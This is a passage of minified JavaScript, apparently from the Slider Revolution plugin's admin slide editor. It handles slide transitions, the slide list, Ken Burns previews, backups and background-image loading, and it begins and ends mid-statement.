e=jQuery(r(RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt.length-1));RVS.C.altslcon.append(e),e.find(".slideAnimSelect").each(function(){RVS.F.createSlideAnimOptions(this),jQuery(this).ddTP({placeholder:"Enter or Select"})})}),RVS.DOC.on("updateSlideAnimationView",RVS.F.updateSlideAnimationView),RVS.DOC.on("updateSlideAnimation",function(e,t){void 0!==t&&("tocustom"===t.eventparam&&RVS.F.setSlideAnimPresetToCustom(),RVS.F.redrawSlideBG())}),RVS.DOC.on("updateSlideAnimationFavoits",function(e,t){void 0!==t&&(RVS.F.showHidePresetFavorits(RVS.LIB.SLTR_FAVORIT,"slide_trans_mains"),RVS.SLIDER[RVS.S.slideId].slide.slideChange.favorit?(RVS.S.ATI[0].classList.add("showonlyfavoritpresets"),RVS.S.ATIR[0].classList.add("showonlyfavoritpresets")):(RVS.S.ATI[0].classList.remove("showonlyfavoritpresets"),RVS.S.ATIR[0].classList.remove("showonlyfavoritpresets")))}),RVS.DOC.on("colrowslideanimchange",function(e,t){if(void 0!==t&&void 0!==t.eventparam){var i=t.eventparam.indexOf("in.")>=0?"in":"out",a=t.eventparam.indexOf(".col")>=0?"col":"row",r="row"===a?"col":"row";if(parseInt(RVS.SLIDER[RVS.S.slideId].slide.slideChange[i].col)*parseInt(RVS.SLIDER[RVS.S.slideId].slide.slideChange[i].row)>1e3&&(RVS.SLIDER[RVS.S.slideId].slide.slideChange[i][r]=Math.floor(1e3/parseInt(RVS.SLIDER[RVS.S.slideId].slide.slideChange[i][a])),document.getElementById("sltrans_"+i+"_"+r).value=RVS.SLIDER[RVS.S.slideId].slide.slideChange[i][r]),RVS.JHOOKS.extendSlideAnimationRowCol)for(var s in RVS.JHOOKS.extendSlideAnimationRowCol)RVS.JHOOKS.extendSlideAnimationRowCol.hasOwnProperty(s)&&RVS.JHOOKS.extendSlideAnimationRowCol[s](i,a,r)}RVS.F.setSlideAnimPresetToCustom(),RVS.F.redrawSlideBG()}),RVS.DOC.on("click",".editslide",function(){return a({id:this.dataset.id}),!1}),RVS.DOC.on("showLastEditedSlideStatic",function(){jQuery(".showunderstatic").removeClass("showunderstatic"),RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&void 0!==RVS.S.lastShownSlideId&&(RVS.SLIDER[RVS.S.slideId].slide.static.lastEdited?(jQuery("#slide_"+RVS.S.lastShownSlideId).addClass("showunderstatic"),jQuery("#slide_"+RVS.S.lastShownSlideId).find("._lc_.selected").removeClass("selected"),setTimeout(function(){jQuery("#slide_"+RVS.S.slideId).addClass("hideslotsinslide")},200)):jQuery("#slide_"+RVS.S.slideId).removeClass("hideslotsinslide"))}),RVS.DOC.on("click",".open_close_slide",function(){return a({id:this.dataset.id,openclose:!0}),!1}),RVS.DOC.on("click",".added_slide_transition",function(){jQuery(".added_slide_transition.selected").removeClass("selected"),this.className=this.className+" selected",RVS.S.slideTrans=jQuery(this).index(),RVS.F.updateEasyInputs({container:jQuery("#active_transitions_settings"),path:RVS.S.slideId+".slide.",trigger:"init"}),RVS.F.updateSlideFrames()}),RVS.DOC.on("click",".transition-replace",function(){RVS.DOC.trigger("showhidetransitions")}),RVS.DOC.on("mouseenter mouseleave","#active_transitions_innerwrap_results .presetelement.dark_btn, #active_transitions_innerwrap_results .presets_listelement.dark_btn",function(e){clearTimeout(window.backToDefaultAnimationTimer),RVS.S.demoSlideAnim="mouseenter"===e.type?{key:"true"==this.dataset.custom&&void 0!==this.dataset&&void 0!==this.dataset.key?this.dataset.key.replace("custom_",""):""+this.dataset.rndgrp!="undefined"||""+this.dataset.rndmain!="undefined"?RVS._R.getRandomSlideTrans(this.dataset.rndmain,this.dataset.rndgrp,RVS.LIB.SLTR):this.dataset.key,preset:"true"==this.dataset.custom?jQuery.extend(!0,{},RVS.LIB.SLTR_CUSTOM[this.dataset.key.replace("custom_","")].preset):void 0}:void 0,window.backToDefaultAnimationTimer=setTimeout(RVS.F.showExampleOrSelectedSlideAnim,"mouseenter"===e.type?200:0)}),RVS.DOC.on("updateslidebasicmediafilter",function(e){RVS.F.redrawSlideBG(e),RVS.F.warnFilterWithTransitions()}),RVS.DOC.on("updateslidebasic",RVS.F.redrawSlideBG),RVS.DOC.on("updateslidebasicmpeg",function(){RVS.F.videoExtract.get(RVS.SLIDER[RVS.S.slideId].slide.bg.mpeg,function(e){RVS.F.setBGPosterImage(e.path,e.id,"slide"),RVS.F.redrawSlideBG()},RVS.SLIDER[RVS.S.slideId].slide.bg.video.startAt,"slide")}),RVS.DOC.on("coloredit colorcancel",R),RVS.DOC.on("showSlideFilter",p),RVS.DOC.on("updateKenBurnBasics",function(){V()}),RVS.DOC.on("updateKenBurnSettings",function(){y(!0)}),RVS.DOC.on("previewKenBurn",function(){RVS.TL[RVS.S.slideId].panzoom.play()}),RVS.DOC.on("previewStopKenBurn",function(){RVS.TL[RVS.S.slideId].panzoom.pause()}),RVS.DOC.on("rewindKenBurn",function(){RVS.TL[RVS.S.slideId].panzoom.progress(0).pause()}),RVS.DOC.on("beforeLayoutModeChange accordionaction",function(){RVS.F.updateTimeLine({state:"stop",timeline:"panzoom"}),RVS.F.changeSwitchState({el:jQuery("#kenburn_simulator")[0],state:"play"})}),RVS.DOC.on("updateslidethumbs",function(){o()}),RVS.DOC.on("resetslideadminthumb",function(e,t){RVS.F.updateSliderObj({path:RVS.S.slideId+"."+t,val:""}),o()}),RVS.DOC.on("changeToLayerMode",function(){RVS.F.showHideLayerEditor({mode:"slidecontent"})}),RVS.DOC.on("changeToSlideMode",function(){RVS.F.showHideLayerEditor({mode:"slidelayout"})}),RVS.DOC.on("windowresized",RVS.F.redrawSlideBG),RVS.DOC.on("sliderSizeChanged",RVS.F.redrawSlideBG),RVS.DOC.on("showhidetransitions",function(){var e=jQuery("#transition_selector");e.is(":visible")?e.hide():e.show()}),RVS.DOC.on("updateSlideNameInList",function(){jQuery("#slide_list_element_title_"+RVS.S.slideId).html(RVS.SLIDER[RVS.S.slideId].slide.title)}),RVS.DOC.on("click","#do_edit_slidename",function(){jQuery("#slide_title_field").trigger("focus")}),RVS.DOC.on("slide_ajax_calls",function(e,t){var i;"overwrite"!==t.mode&&"create"!==t.mode||(i=jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId].slide.slideChange)),"overwrite"!==t.mode&&"rename"!=t.mode||t.pl.data("key"),"rename"===t.mode&&(i=RVS.LIB.SLTR_CUSTOM[t.key].preset,RVS.LIB.SLTR_CUSTOM[t.key].title=t.newname),"delete"===t.mode?RVS.F.ajaxRequest("delete_custom_templates_slidetransitions",{id:t.key.replace("custom_","")},function(e){e.success&&(delete RVS.LIB.SLTR_CUSTOM[t.key],t.pl.remove())}):RVS.F.ajaxRequest("save_custom_templates_slidetransitions",{id:t.key,obj:{title:t.newname,preset:i}},function(e){e.success&&(RVS.LIB.SLTR_CUSTOM[e.data.id]={title:t.newname,preset:i},"create"===t.mode&&(t.element[0].dataset.key=e.data.id),"rename"===t.mode&&t.pl.find(".cla_custom_name").text(t.newname))})}),(e={container:jQuery("#kenburn_timeline")}).pin=e.container.find(".pz_pin"),e.done=e.container.find(".pz_timedone"),e.pinWidth=9,e.hovered=!1,e.pin.draggable({axis:"x",containment:"parent",start:function(t,i){e.container.addClass("indrag"),e.containerWidth=e.container.width()},stop:function(t,i){e.container.removeClass("indrag")},drag:function(t,i){s({left:i.position.left,force:!0}),RVS.F.updateTimeLine({state:"progress",timeline:"panzoom",prgs:i.position.left/(e.containerWidth-e.pinWidth)})}}),e.container.on("mouseenter",function(){e.hovered=!0,e.laststate=RVS.F.updateTimeLine({state:"getstate",timeline:"panzoom"}),RVS.F.updateTimeLine({state:"pause",timeline:"panzoom"})}).on("mouseleave",function(){e.hovered=!1,e.laststate&&RVS.F.updateTimeLine({state:"play",timeline:"panzoom"})})},RVS.F.changeFlags=function(e){e=RVS.SLIDER[RVS.S.slideId].slide.child,document.getElementById(RVS.S.slideId+"_flag_source").innerHTML=RVS.SLIDER.settings.general.useWPML&&"undefined"!=typeof RS_WPML_LANGS&&void 0!==RS_WPML_LANGS&&void 0!==e&&void 0!==e.language&&""!==e.language&&!1!==e.language&&void 0!==RS_WPML_LANGS[e.language]?'<span class="wpml_flag_wrap"><img src="'+RS_WPML_LANGS[e.language].image+'" class="wpml-img-flag" /></span>':""},RVS.F.addToSlideList=function(e){RVS.SLIDER.settings.general.useWPML&&RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_general_usewpml"),trigger:"init"});var t=i.split("###").join(RVS.S.slideId),a=RVS.SLIDER[e.id].slide,r=RVS.SLIDER.settings.general.useWPML&&"undefined"!=typeof RS_WPML_LANGS&&void 0!==RS_WPML_LANGS&&void 0!==a.child&&void 0!==a.child.language&&""!==a.child.language&&!1!==a.child.language&&void 0!==RS_WPML_LANGS[a.child.language]?'<span id="'+e.id+'_flag_source" class="flag_container aaa"><span class="wpml_flag_wrap"><img src="'+RS_WPML_LANGS[a.child.language].image+'" class="wpml-img-flag" /></span></span>':'<span id="'+e.id+'_flag_source" class="flag_container bbb"></span>',s="undefined"!=typeof RS_WPML_LANGS&&void 0!==RS_WPML_LANGS?'<div class="addchildslide" data-id="'+e.id+'"><i class="material-icons">playlist_add</i></div>':"",n=a.static.isstatic?jQuery('<div id="slide_list_element_'+e.id+'" class="do_not_sort_slide_list_element slide_list_element static-slide-btn" data-ref="'+e.id+'"><div class="sle_description"><i class="material-icons">layers</i>'+a.title+"</div></div>"):void 0===a.child||void 0===a.child.parentId||""===a.child.parentId||0===a.child.parentId.length||!1===a.child.parentId?jQuery('<li id="slide_list_element_'+e.id+'" class="slide_list_element sortable_slide_list_element" data-ref="'+e.id+'"><div class="slide_elemenet_content"><div class="sle_thumb"></div><div class="sle_description"><i class="material-icons">swap_vert</i>'+r+'<span id="slide_list_element_title_index_'+e.id+'"></span><span id="slide_list_element_title_'+e.id+'">'+a.title+'</span></div><div class="slidetab_toolbox"><div id="publish_toggle_icon_'+e.id+'" class="'+a.publish.state+'slide"><i class="publishedicon material-icons">visibility</i><i class="unpublishedicon material-icons">visibility_off</i></div><div class="deleteslide"><i class="material-icons">delete</i></div><div class="duplicateslide"><i class="material-icons">content_copy</i></div><div class="editslide" data-id="'+e.id+'" ><i class="material-icons">settings</i></div>'+s+"</div>"+t+'</div><div id="slide_list_element_childwrap_'+e.id+'" class="slide_list_child_element_wrap"></div></li>'):jQuery('<li id="slide_list_element_'+e.id+'" class="slide_list_child_element" data-ref="'+e.id+'"><div class="sle_thumb"></div><div class="slide_elemenet_content"><div class="sle_description">'+r+'<span id="slide_list_element_title_'+e.id+'">'+a.title+'</span></div><div class="slidetab_toolbox"><div id="publish_toggle_icon_'+e.id+'" class="'+a.publish.state+'slide"><i class="publishedicon material-icons">visibility</i><i class="unpublishedicon material-icons">visibility_off</i></div><div class="deleteslide"><i class="material-icons">delete</i></div><div class="editslide" data-id="'+e.id+'" ><i class="material-icons">settings</i></div></div>'+t+"</div></li>"),l=n.find(".sle_thumb");o({id:e.id,target:l}),a.static.isstatic?n.insertBefore(RVS.C.slideList):""!==a.child.parentId&&void 0!==a.child.parentId?jQuery("#slide_list_element_childwrap_"+a.child.parentId).append(n):RVS.C.slideList.append(n),!0!==e.ignoreSort&&(RVS.F.makeSlideListSortable(),RVS.F.makeSlideListScroll())},RVS.F.makeSlideListScroll=function(){void 0===RVS.S.slidesListSB?RVS.S.slidesListSB=RVS.C.slideList.RSScroll({wheelPropagation:!1,suppressScrollX:!0,minScrollbarLength:100}):RVS.C.slideList.RSScroll("update"),RVS.DOC.on("mouseenter","#slidelist",function(){RVS.C.slideList.RSScroll("update")})},RVS.F.addRemoveSlideWithBackupAfterSlideId=function(e){var t=void 0!==e.urls?e.urls.length:1,i=jQuery.extend(!0,{},e.slideObj);i.slide.child.parentId=void 0!==e.parentId?e.parentId:"",RVS.F.ajaxRequest("create_slide",{slider_id:RVS.ENV.sliderID,amount:t},function(t){if(t.success){for(var a in t.slide_id)t.slide_id.hasOwnProperty(a)&&(e.slideId=t.slide_id[a],e.slideObj=jQuery.extend(!0,{},i),e.slideObj.id=e.slideObj.slide.uid=t.slide_id[a],void 0!==e.urls&&e.urls.length>0&&(e.slideObj.slide.bg.type="image",e.slideObj.slide.bg.image=e.urls[a].url.split(" ").join("%20"),e.slideObj.slide.bg.imageSourceType="full",RVS.F.slideinWork(t.slide_id[a])),RVS.F.addRemoveSlideWithBackup(e),void 0===e.parentID&&void 0===e.fromSlideId||(RVS.F.convertIDStoTxt(),RVS.F.saveSlides({index:0,slides:RVS.SLIDER.slideIDs,trigger:RVS.F.saveSliderSettings,works:RVS.SLIDER.inWork,force:!0})),void 0!==e.fromSlideId&&RVS.F.duplicateSkinColors({type:"slide",slideFrom:e.fromSlideId,slideTo:e.slideId}),RVS.DOC.trigger("newSlideCreated",[t.slide_id[a]]));void 0!==e.endOfMain&&e.endOfMain()}})},RVS.F.addRemoveSlideWithBackup=function(e,t){RVS.F.openBackupGroup({id:e.id,txt:e.step,icon:e.icon,lastkey:"#"+e.slideId}),RVS.SLIDER[e.slideId]=e.slideObj;var i,a,r,s=RVS.SLIDER.slideIDs.slice(),o=!1;if("deleteslide"===e.id){var n,l;for(var d in RVS.SLIDER.slideIDs)l=""+RVS.SLIDER.slideIDs[d],void 0!==RVS.SLIDER[l]&&void 0!==RVS.SLIDER[l].slide&&void 0!==RVS.SLIDER[l].slide.child&&""+RVS.SLIDER[l].slide.child.parentId==""+e.slideId&&(r=(n=RVS.F._inArray(l,s))-1>=0?n-1:n,""+l==""+RVS.S.slideId&&(o=!0),s.splice(n,1),RVS.SLIDER[l]={});r=(n=RVS.F._inArray(e.slideId,s))-1>=0?n-1:n,RVS.S.slideId==e.slideId&&(o=!0),s.splice(n,1),RVS.F.updateSliderObj({path:"slideIDs",val:s}),i=jQuery("#slide_list_element_"+e.slideId).removeClass("selected").detach()}else s.push(e.slideId),RVS.F.updateSliderObj({path:"slideIDs",val:s}),RVS.F.addToSlideList({id:e.slideId}),a={mode:"slidelayout",set:!0,slide:e.slideId};RVS.F.backup({path:e.slideId,cache:i,beforeSelected:e.beforeSelected,icon:e.icon,txt:e.step,lastkey:"#"+e.slideId,force:!0,val:jQuery.extend(!0,{},RVS.SLIDER[e.slideId]),old:e.slideObjOld,backupType:"slide",bckpGrType:e.id}),0==jQuery(".slide_list_element.sortable_slide_list_element").length&&(a={mode:"sliderlayout",set:!0}),void 0!==a?RVS.F.mainMode(a):o&&RVS.F.setSlideFocus({slideid:r>=RVS.SLIDER.slideIDs.length?RVS.SLIDER.slideIDs[0]:RVS.SLIDER.slideIDs[r]}),RVS.F.closeBackupGroup({id:e.id}),void 0!==e.after&&e.after()},RVS.F.setSlideFocus=function(e){if(RVS.F.setEditorUrl(e.slideid),RVS.F.slideinWork(e.slideid),delete RVS.S.bgobj,RVS.DOC.trigger("beforeSlideChange"),jQuery(".slide_list_element.selected, .slide_list_child_element.selected").removeClass("selected"),jQuery("#slide_list_element_"+e.slideid).addClass("selected"),jQuery(".slide_li").hide(),RVS.SLIDER[e.slideid].slide.static.isstatic?(window.lastSlideSettingForm="static",RVS.F.updateStaticStartEndList(),RVS.C.vW.classList.add("staticlayersview"),RVS.F.openSettings({forms:["*slidelayout**mode__slidestyle*#form_slidestatic"],uncollapse:!0})):(RVS.C.vW.classList.remove("staticlayersview"),"static"===window.lastSlideSettingForm&&(window.lastSlideSettingForm=jQuery(".slide_submodule_trigger.selected").data("forms"),RVS.F.openSettings({forms:window.lastSlideSettingForm,uncollapse:!0}))),RVS.DOC.trigger("slideAmountUpdated"),RVS.S.slideId=e.slideid,RVS.ENV.firstLayoutAfterSlideload=!0,RVS.DOC.trigger("showLastEditedSlideStatic"),RVS.DOC.trigger("slideFocusChanged"),0===jQuery("#slide_"+e.slideid).length){var t=jQuery("#slide_li_template").clone();t.attr("id","slide_"+e.slideid),RVS.SLIDER[e.slideid].slide.static.isstatic&&t.addClass("static_slide_li"),t.find(".crumb_title").html('<i class="material-icons">wallpaper</i>'+RVS.SLIDER[e.slideid].slide.title),RVS.S.ulInner.append(t),RVS.TL[RVS.S.slideId]=void 0===RVS.TL[RVS.S.slideId]?{}:RVS.TL[RVS.S.slideId]}RVS.S.lastVisibleSlideId!==e.slideid&&RVS.DOC.trigger("slideChanged"),RVS.S.lastVisibleSlideId=e.slideid,RVS.C.slide=jQuery("#slide_"+e.slideid),void 0!==RVS.SBGS&&void 0!==RVS.SBGS[RVS.S.slideId]||(RVS.SBGS=void 0===RVS.SBGS?{}:RVS.SBGS,RVS.SBGS[RVS.S.slideId]={wrap:RVS.F.cE({t:"rs-sbg-px"}),n:{sbg:RVS.F.cE({t:"rs-sbg-wrap",cN:"in"}),canvas:RVS.F.cE({t:"canvas"}),bgvid:!1,loadobj:{}},c:{sbg:RVS.F.cE({t:"rs-sbg-wrap"}),canvas:RVS.F.cE({t:"canvas"}),bgvid:!1,previous:!0,loadobj:{}}},RVS.SBGS[RVS.S.slideId].n.sbg.appendChild(RVS.SBGS[RVS.S.slideId].n.canvas),RVS.SBGS[RVS.S.slideId].c.sbg.appendChild(RVS.SBGS[RVS.S.slideId].c.canvas),RVS.SBGS[RVS.S.slideId].wrap.appendChild(RVS.SBGS[RVS.S.slideId].n.sbg),RVS.SBGS[RVS.S.slideId].wrap.appendChild(RVS.SBGS[RVS.S.slideId].c.sbg),RVS.C.slide.prepend(RVS.SBGS[RVS.S.slideId].wrap),RVS.SBGS[RVS.S.slideId].c.ctx=RVS.SBGS[RVS.S.slideId].c.canvas.getContext("2d"),RVS.SBGS[RVS.S.slideId].n.ctx=RVS.SBGS[RVS.S.slideId].n.canvas.getContext("2d")),RVS.C.layergrid=RVS.C.slide.find(".layer_grid"),RVS.DOC.trigger("sliderProgressUpdate"),window.contentDeltaFirstRun||RVS.F.updateContentDeltas(),RVS.C.rZone.top=RVS.C.layergrid.find(".row_wrapper_top"),RVS.C.rZone.middle=RVS.C.layergrid.find(".row_wrapper_middle"),RVS.C.rZone.bottom=RVS.C.layergrid.find(".row_wrapper_bottom"),RVS.C.layergrid.attr("id","layer_grid_"+e.slideid),RVS.HALL=null==RVS.HALL?{}:RVS.HALL,RVS.HALL[RVS.S.slideId]=null==RVS.HALL[RVS.S.slideId]?{}:RVS.HALL[RVS.S.slideId],RVS.H=RVS.HALL[RVS.S.slideId],RVS.C.slide.show(),RVS.DOC.trigger("updatesliderlayout","setSlideFocus-139"),RVS.F.setRulers(),RVS.F.updateFields(e.ignoreUpdateFields),void 0!==RVS.S.slideBGCallFirsttime&&RVS.F.redrawSlideBG(),RVS.S.slideInputFieldsInitialised&&RVS.F.udpateSelectedSlideAnim(!0),RVS.F.updateParallaxLevelTexts(),RVS.F.setRulers();var i=RVS.selLayers.length;RVS.F.buildLayerLists({ignoreSelectLayers:e.ignoreUpdateFields,ignoreDrawLayers:!0}),RVS.F.updateReferencigToggleLayerType(),RVS.F.updateAllLayerFrames(),RVS.F.updateSelectedHtmlLayers(!0,!0),void 0!==RVS.S.slideBGCallFirsttime&&RVS.selLayers.length!=i&&RVS.F.selectedLayersVisualUpdate(),RVS.S.slideBGCallFirsttime=!0,RVS.DOC.trigger("updateScrollBars"),RVS.DOC.trigger("updateAllInheritedSize"),RVS.DOC.trigger("slideFocusFunctionEnd"),void 0!==RVS.S.firstPreparation&&1!==RVS.S.firstPreparation&&RVS.F.expandCollapseTimeLine(!0,"open"),RVS.DOC.trigger("updateSlideLoopRange"),RVS.DOC.trigger("updateFixedScrollRange"),RVS.F.reOrderHTMLLayers(),RVS.S.lastSaved=void 0===RVS.S.lastSaved?{}:RVS.S.lastSaved,setTimeout(function(){void 0===RVS.S.lastSaved[RVS.S.slideId]&&!0!==RVS.S.zIndexAtStartChanged&&(RVS.S.lastSaved[RVS.S.slideId]={params:JSON.stringify(RVS.F.simplifySlide(RVS.SLIDER[RVS.S.slideId].slide)),layers:JSON.stringify(RVS.F.simplifyAllLayer(RVS.SLIDER[RVS.S.slideId].layers))},delete RVS.S.zIndexAtStartChanged)},500)},RVS.F.getAllSlidesBgDimension=function(){for(var e in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(e)&&(RVS.F.loadBGImages(RVS.SLIDER.slideIDs[e]),RVS.F.slideinWork(RVS.SLIDER.slideIDs[e]))},RVS.F.loadBGImages=function(e,t){if(RVS.allimages=void 0===RVS.allimages?{src:[],dim:[],img:[]}:RVS.allimages,e=void 0===e?RVS.S.slideId:e,jQuery.inArray(RVS.SLIDER[e].slide.bg.type,["image","youtube","html5","vimeo","external"])>=0||"c"===t&&void 0!==e&&void 0!==RVS.SBGS&&void 0!==RVS.SBGS[RVS.S.slideId]&&void 0!==RVS.SBGS[RVS.S.slideId][t].src){var i="c"===t?RVS.SBGS[RVS.S.slideId][t].src:RVS.SBGS[RVS.S.slideId].n.src;if("external"===RVS.SLIDER[e].slide.bg.type&&""===i&&(i=RVS.ENV.plugin_url+"admin/assets/images/transparent.png"),void 0===i)return;i=i.split(" ").join("%20"),void 0!==t&&(RVS.SBGS[RVS.S.slideId][t].loadobj=void 0===RVS.SBGS[RVS.S.slideId][t].loadobj?{}:RVS.SBGS[RVS.S.slideId][t].loadobj);var a=jQuery.inArray(i,RVS.allimages.src);a>=0?void 0!==RVS.allimages.dim[a]&&("c"!==t&&(RVS.SLIDER[e].slide.bg.imageWidth=RVS.allimages.dim[a].w,RVS.SLIDER[e].slide.bg.imageHeight=RVS.allimages.dim[a].h,RVS.SLIDER[e].slide.bg.imageRatio=RVS.allimages.dim[a].r),void 0!==t&&(RVS.SBGS[RVS.S.slideId][t].loadobj.img=RVS.allimages.img[a],RVS.SBGS[RVS.S.slideId][t].loadobj.width=RVS.allimages.dim[a].w,RVS.SBGS[RVS.S.slideId][t].loadobj.height=RVS.allimages.dim[a].h,RVS.SBGS[RVS.S.slideId][t].loadobj.src=RVS.allimages.src[a],RVS.SBGS[RVS.S.slideId][t].loadobj.progress="loaded"),RVS.DOC.trigger("device_area_dimension_update")):i!==RVS.S.lastLoadedBGImage&&(RVS.S.lastLoadedBGImage=i,a=RVS.allimages.src.length,RVS.allimages.img[a]=new Image,RVS.F.getImgWithCORS(RVS.allimages.img[a],i),void 0!==t&&(RVS.SBGS[RVS.S.slideId][t].loadobj.progress="loading"),RVS.allimages.src[a]=i,RVS.allimages.img[a].tpRequest=0,RVS.allimages.img[a].onload=function(){RVS.allimages.dim[a]={w:this.width,h:this.height,r:this.width/this.height},void 0!==t&&(RVS.SBGS[RVS.S.slideId][t].loadobj.img=RVS.allimages.img[a],RVS.SBGS[RVS.S.slideId][t].loadobj.src=RVS.allimages.src[a],RVS.SBGS[RVS.S.slideId][t].loadobj.width=this.width,RVS.SBGS[RVS.S.slideId][t].loadobj.height=this.height,RVS.SBGS[RVS.S.slideId][t].loadobj.progress="loaded"),"c"!==t&&(RVS.SLIDER[e].slide.bg.imageWidth=this.width,RVS.SLIDER[e].slide.bg.imageHeight=this.height,RVS.SLIDER[e].slide.bg.imageRatio=this.width/this.height),RVS.DOC.trigger("device_area_dimension_update"),1===this.tpRequest&&(console.info("%c"+RVS_LANG.CORSWARNING,"color:#f1c40f;"),console.info(this.src))},RVS.allimages.img[a].onerror=function(e,t,i){0===this.tpRequest&&this.crossOrigin&&(delete this.crossOrigin,this.removeAttribute("crossorigin"),this.tpRequest=1,this.src=this.src)},RVS.allimages.img[a].src=RVS.allimages.src[a])}},RVS.F.redrawSlideBG=function(e){void 0!==RVS.C.slide&&(clearTimeout(RVS.S.redrawSlideBGTimeOut),RVS.S.redrawSlideBGTimeOut=setTimeout(function(){var t,i=RVS.SLIDER[RVS.S.slideId].slide;if(void 0!==e&&e.liveColorChange&&void 0!==e.backgroundColor)t={bg:{color:e.backgroundColor,type:"solid"}};else for(var a in RVS.JHOOKS.redrawSlideBG)RVS.JHOOKS.redrawSlideBG.hasOwnProperty(a)&&(t=RVS.JHOOKS.redrawSlideBG[a](t));RVS.SBGS[RVS.S.slideId].n=jQuery.extend(!0,RVS.SBGS[RVS.S.slideId].n,RVS.F.getSlideBGObj({slideBGFrom:t})),RVS.SBGS[RVS.S.slideId].c=jQuery.extend(!0,RVS.SBGS[RVS.S.slideId].c,RVS.F.getSlideBGObj({type:"c",slideBGFrom:{bg:{color:"transparent",repeat:"repeat",position:"center center",fit:"50%",src:RVS.ENV.plugin_url+"admin/assets/images/light_pattern_2x.png"}}})),(void 0===RVS.SBGS[RVS.S.slideId].n.loadobj.img||RVS.S.lastSlideBGSrc!==RVS.SLIDER[RVS.S.slideId].slide.bg.type||RVS.SBGS[RVS.S.slideId].n.loadobj.src!==RVS.SBGS[RVS.S.slideId].n.src&&""!==RVS.SBGS[RVS.S.slideId].n.src)&&RVS.F.loadBGImages(void 0,"n"),void 0===RVS.SBGS[RVS.S.slideId].c.loadobj.img&&RVS.F.loadBGImages(void 0,"c"),RVS.S.lastSlideBGSrc=RVS.SLIDER[RVS.S.slideId].slide.bg.type,y(),RVS.SBGS[RVS.S.slideId].wrap.className=i.bg.mediaFilter,RVS.SBGS[RVS.S.slideId].n.usebgColor&&"transparent"==RVS.SBGS[RVS.S.slideId].n.bgcolor?(RVS.F.resetSlideTL(),RVS.SBGS[RVS.S.slideId].n.ctx.clearRect(0,0,RVS.SBGS[RVS.S.slideId].n.ctx.canvas.width,RVS.SBGS[RVS.S.slideId].n.ctx.canvas.height)):RVS.F.buildSlideAnimation(),RVS.F.slideAnimation({progress:1,type:"slide"});var r=document.getElementById("slider_overlay");r&&RVS.C.slide[0].querySelector("rs-sbg-wrap").appendChild(r),RVS.DOC.trigger("redrawSlideBGDone")},100))},RVS.F.updateSlideInputFields=function(){!0!==RVS.S.slideInputFieldsInitialised&&!0!==RVS.F.slideInputFieldsInitialisedInfo&&(RVS.F.udpateSelectedSlideAnim(!0),RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.updatingfields}),RVS.S.slideInputFieldsInitialised=!0,RVS.F.slideInputFieldsInitialisedInfo=!0),setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery(".slide_settings_collector, #do_title_slide"),path:RVS.S.slideId+".slide.",trigger:"init"}),jQuery("#s_bg_color").val(RVS.SLIDER[RVS.S.slideId].slide.bg.color).rsColorPicker("refresh"),jQuery("#slide_bg_type").trigger("change"),o(),!0===RVS.F.slideInputFieldsInitialisedInfo&&(RVS.F.showWaitAMinute({fadeOut:2,text:RVS_LANG.updatingfields}),RVS.F.slideInputFieldsInitialisedInfo=!1),RVS.DOC.trigger("slideInputFieldsUpdated")},5)},RVS.F.updateFields=function(e){!function(){var e=document.getElementById("slide_seo_linktoslide");if(null!==e){var t="";for(var i in t+='<option value="nothing">- Not Choosen -</option>',t+='<option value="next">- Next Slide  -</option>',t+='<option value="prev">- Previous Slide -</option>',t+='<option value="scroll_under">- Scroll Below Slider -</option>',RVS.SLIDER.slideIDs)if(RVS.SLIDER.slideIDs.hasOwnProperty(i)){var a=RVS.SLIDER.slideIDs[i],r=RVS.SLIDER[a].slide.title;t+='<option value="'+a+'">'+(r=void 0===r?"Slide":r)+" (ID:"+a+")</option>"}e.innerHTML=t}}(),RVS.F.updateSlideAnimationView(),!0!==e&&RVS.F.updateSlideInputFields(),RVS.F.updateSlideBasedNavigationStyle(),V(e),RVS.F.alternatingSlideAnims(),RVS.F.buildSlideFrames(),RVS.F.updateSlideFrames(),RVS.F.updateMaxTime({pos:!0,cont:!0}),void 0!==RVS.S.firstTimeGoToIdle&&RVS.F.goToIdle(),RVS.S.firstTimeGoToIdle=!0},RVS.F.getSlideBGObj=function(e){e.id=void 0===e.id?RVS.S.slideId:e.id;var t=void 0===e.slideBGFrom?RVS.SLIDER[e.id].slide:e.slideBGFrom,i={bgcolor:"transparent",bgrepeat:t.bg.repeat,bgposition:"percentage"===t.bg.position?parseInt(t.bg.positionX,0)+"% "+parseInt(t.bg.positionY,0)+"%":t.bg.position,bgfit:"percentage"===t.bg.fit?parseInt(t.bg.fitX,0)+"% "+parseInt(t.bg.fitY,0)+"%":t.bg.fit},a=jQuery("#slide_bg_image_path");if("c"!==e.type)switch(t.bg.type){case"trans":i.usebgColor=!0;break;case"solid":var r=window.RSColor.get(t.bg.color);r.indexOf("gradient")>=0?i.bgcolor=r:i.bgcolor=t.bg.color,i.type="solid",i.usebgColor=!0;break;case"external":var s=t.bg.externalSrc.split(" ").join("%20");i.src=s,a.val(t.bg.externalSrc),a.height(Math.max(25,8+t.bg.externalSrc.length/20*16)),a.trigger("changedvalue",{sip:a[0].value}),i.type="image",i.usebgColor=!1;break;case"html5":case"vimeo":case"youtube":case"image":s=t.bg.image.split(" ").join("%20");i.src=s,a.val(t.bg.image),a.trigger("changedvalue",{sip:a[0].value}),void 0!==t.bg.image?a.height(Math.max(25,8+t.bg.image.length/20*16)):void 0!==t.bg.image&&a.height(Math.max(25,8+t.bg.image.length/20*16)),i.type="image",i.usebgColor=!1}else i.src=t.bg.src;return i},RVS.F.getSlideBGDrawObj=function(e){(e=void 0===e?{updateSip:!1}:e).id=void 0===e.id?RVS.S.slideId:e.id;var t=void 0===e.slideBGFrom?RVS.SLIDER[e.id].slide:e.slideBGFrom,i={backgroundImage:"",backgroundColor:"transparent",backgroundRepeat:t.bg.repeat,backgroundPosition:"percentage"===t.bg.position?parseInt(t.bg.positionX,0)+"% "+parseInt(t.bg.positionY,0)+"%":t.bg.position,"background-size":"percentage"===t.bg.fit?parseInt(t.bg.fitX,0)+"% "+parseInt(t.bg.fitY,0)+"%":t.bg.fit},a=jQuery("#slide_bg_image_path");switch(t.bg.type){case"solid":var 